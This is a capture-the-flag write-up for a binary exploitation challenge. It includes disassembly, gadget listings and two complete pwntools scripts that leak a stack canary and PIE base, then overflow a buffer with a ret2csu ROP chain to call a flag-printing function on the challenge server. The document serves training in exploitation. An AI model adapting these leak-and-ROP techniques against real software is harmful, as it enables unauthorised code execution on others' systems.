Category: Binary Exploitation
Flag: EH4X{r0pp3d_th3_w0mp3d}
Challenge Description
Hippity hoppity the flag is not your property
Analysis
I started by unpacking the handout and immediately got the important clue: this was a two-binary setup (challenge + libcoreio.so), which usually means the main binary has the bug and the shared object hides the win path.
unzip -l "handout_womp_womp.zip"Archive: handout_womp_womp.zip Length Date Time Name--------- ---------- ----- ---- 0 02-28-2026 00:42 handout/ 13016 02-28-2026 00:42 handout/challenge 8416 02-28-2026 00:42 handout/libcoreio.soQuick triage showed exactly the kind of target that rewards leak-first exploitation: PIE, canary, NX, full RELRO, and a not-stripped ELF. Not stripped mattered a lot here because function names like submit_note, review_note, and finalize_entry made the intended flow obvious right away.
file "handout/challenge" "handout/libcoreio.so"handout/challenge: ELF 64-bit LSB pie executable, x86-64, ... not strippedhandout/libcoreio.so: ELF 64-bit LSB shared object, x86-64, ... not strippedchecksec "handout/challenge"[*] '/home/LIGHT/Downloads/handout/challenge' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled RPATH: b'.' Stripped: NoDisassembling challenge made the full exploit shape click. submit_note reads 0x40 bytes into a stack buffer and then writes 0x58 bytes back, which leaks past the buffer into stack metadata. review_note does the same pattern with 0x20 read and 0x30 write, and that leak includes the stack-stored function pointer to finalize_note, which gives a PIE leak. Then finalize_entry performs the real overflow by reading 0x190 bytes into rbp-0x48.
objdump -d -M intel "handout/challenge"00000000000009b7 <submit_note>: ... 9f5: e8 26 fe ff ff call 820 <read@plt> ; read(..., 0x40) ... a21: e8 ea fd ff ff call 810 <write@plt> ; write(..., 0x58)
0000000000000a53 <review_note>: ... a9c: e8 7f fd ff ff call 820 <read@plt> ; read(..., 0x20) ... ac8: e8 43 fd ff ff call 810 <write@plt> ; write(..., 0x30)
0000000000000afa <finalize_entry>: ... b33: 48 83 c0 08 add rax,0x8 ; target is rbp-0x48 b37: ba 90 01 00 00 mov edx,0x190 b44: e8 d7 fc ff ff call 820 <read@plt>The shared object confirmed the end goal: emit_report checks three exact magic arguments and, if they match, opens and prints flag.txt. So the exploit only needed to call emit_report with controlled rdi/rsi/rdx.
objdump -d -M intel "handout/libcoreio.so"00000000000007c0 <emit_report>: ... 7ef: 48 b8 ef be ad de ef be ad de movabs rax,0xdeadbeefdeadbeef 7f9: 48 39 85 d8 fe ff ff cmp QWORD PTR [rbp-0x128],rax ... 802: 48 b8 be ba fe ca be ba fe ca movabs rax,0xcafebabecafebabe ... 815: 48 b8 0d f0 0d d0 0d f0 0d d0 movabs rax,0xd00df00dd00df00d ... 87b: 48 8d 3d ee 00 00 00 lea rdi,[rip+0xee] # "flag.txt" ... 924: 48 89 c6 mov rsi,rax 927: bf 01 00 00 00 mov edi,0x1 92c: e8 3f fd ff ff call 670 <write@plt>The only annoyance was gadget quality: there was pop rdi and pop rsi, but no clean pop rdx. I initially wished for a straightforward 3-pop chain, then realized this binary already contained the classic __libc_csu_init sequence, which is perfect for setting rdx via r13.

ROPgadget --binary "handout/challenge" --only "pop|ret"0x0000000000000ca3 : pop rdi ; ret0x0000000000000ca1 : pop rsi ; pop r15 ; ret...Unique gadgets found: 12objdump -d -M intel --start-address=0xc70 --stop-address=0xcb0 "handout/challenge"0000000000000c80 <__libc_csu_init+0x40>: c80: 4c 89 ea mov rdx,r13 c83: 4c 89 f6 mov rsi,r14 c86: 44 89 ff mov edi,r15d c89: 41 ff 14 dc call QWORD PTR [r12+rbx*8] ... c9a: 5b pop rbx c9b: 5d pop rbp c9c: 41 5c pop r12 c9e: 41 5d pop r13 ca0: 41 5e pop r14 ca2: 41 5f pop r15 ca4: c3 retThat made the final chain clean and reliable: leak canary from submit_note, leak PIE from review_note (finalize_note pointer minus 0x980), overflow in finalize_entry, use CSU call #1 to invoke read(0, .data, 8) and place a callable function pointer in writable memory (finalize_note), then CSU call #2 through that pointer with rsi/rdx set to the emit_report magic values, and finish with pop rdi ; ret to set rdi = 0xdeadbeefdeadbeef before jumping to emit_report@plt.
When the remote service printed [VULN] Done. and immediately followed with the flag, that confirmed both the offset math and the CSU argument setup were correct on first full remote run.

from pwn import *
context.arch = "amd64"io = remote("chall.ehax.in", 1337)
io.recvuntil(b"Input log entry: ")io.send(b"A" * 0x40)io.recvuntil(b"[LOG] Entry received: ")leak1 = io.recvn(0x58)canary = u64(leak1[0x48:0x50])
io.recvuntil(b"Input processing note: ")io.send(b"B" * 0x20)io.recvuntil(b"[PROC] Processing: ")leak2 = io.recvn(0x30)finalize_note = u64(leak2[0x20:0x28])base = finalize_note - 0x980
csu_call = base + 0xC80csu_pop = base + 0xC9Apop_rdi = base + 0xCA3emit_plt = base + 0x838got_read = base + 0x201FC0ptr_tbl = base + 0x202000
MAG1 = 0xDEADBEEFDEADBEEFMAG2 = 0xCAFEBABECAFEBABEMAG3 = 0xD00DF00DD00DF00D
def csu(funcptr, rdi, rsi, rdx, nxt): return ( p64(csu_pop) + p64(0) + p64(1) + p64(funcptr) + p64(rdx) + p64(rsi) + p64(rdi) + p64(csu_call) + p64(0) + p64(0) * 6 + p64(nxt) )
chain = csu(got_read, 0, ptr_tbl, 8, csu_pop)chain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)chain += p64(csu_call) + p64(0) + p64(0) * 6chain += p64(pop_rdi) + p64(MAG1) + p64(emit_plt)
payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain
io.recvuntil(b"Send final payload: ")io.send(payload)io.send(p64(finalize_note))
print(io.recvall(timeout=5).decode("latin-1", "ignore"))[VULN] Done.EH4X{r0pp3d_th3_w0mp3d}Solution
from pwn import *
context.arch = "amd64"
HOST = "chall.ehax.in"PORT = 1337
MAG1 = 0xDEADBEEFDEADBEEFMAG2 = 0xCAFEBABECAFEBABEMAG3 = 0xD00DF00DD00DF00D
io = remote(HOST, PORT)
# Stage 1: leak canary from submit_noteio.recvuntil(b"Input log entry: ")io.send(b"A" * 0x40)io.recvuntil(b"[LOG] Entry received: ")leak1 = io.recvn(0x58)canary = u64(leak1[0x48:0x50])
# Stage 2: leak PIE from review_noteio.recvuntil(b"Input processing note: ")io.send(b"B" * 0x20)io.recvuntil(b"[PROC] Processing: ")leak2 = io.recvn(0x30)finalize_note = u64(leak2[0x20:0x28])pie = finalize_note - 0x980
csu_call = pie + 0xC80csu_pop = pie + 0xC9Apop_rdi = pie + 0xCA3emit_plt = pie + 0x838got_read = pie + 0x201FC0ptr_tbl = pie + 0x202000
def csu(funcptr, rdi, rsi, rdx, nxt): chain = p64(csu_pop) chain += p64(0) # rbx chain += p64(1) # rbp chain += p64(funcptr) # r12 chain += p64(rdx) # r13 -> rdx chain += p64(rsi) # r14 -> rsi chain += p64(rdi) # r15 -> edi chain += p64(csu_call) chain += p64(0) # add rsp, 8 chain += p64(0) * 6 # popped by csu epilogue chain += p64(nxt) return chain
# First CSU call: read(0, ptr_tbl, 8) to place a function pointer in writable memorychain = csu(got_read, 0, ptr_tbl, 8, csu_pop)
# Second CSU call: call [ptr_tbl] (finalize_note), load MAGIC2/MAGIC3 into rsi/rdxchain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)chain += p64(csu_call)chain += p64(0) + p64(0) * 6
# Set rdi and jump to emit_report@pltchain += p64(pop_rdi)chain += p64(MAG1)chain += p64(emit_plt)
payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain
io.recvuntil(b"Send final payload: ")io.send(payload)
# Satisfy read(0, ptr_tbl, 8)io.send(p64(finalize_note))
print(io.recvall(timeout=5).decode("latin-1", errors="ignore"))python3.12 solve.py[VULN] Done.EH4X{r0pp3d_th3_w0mp3d}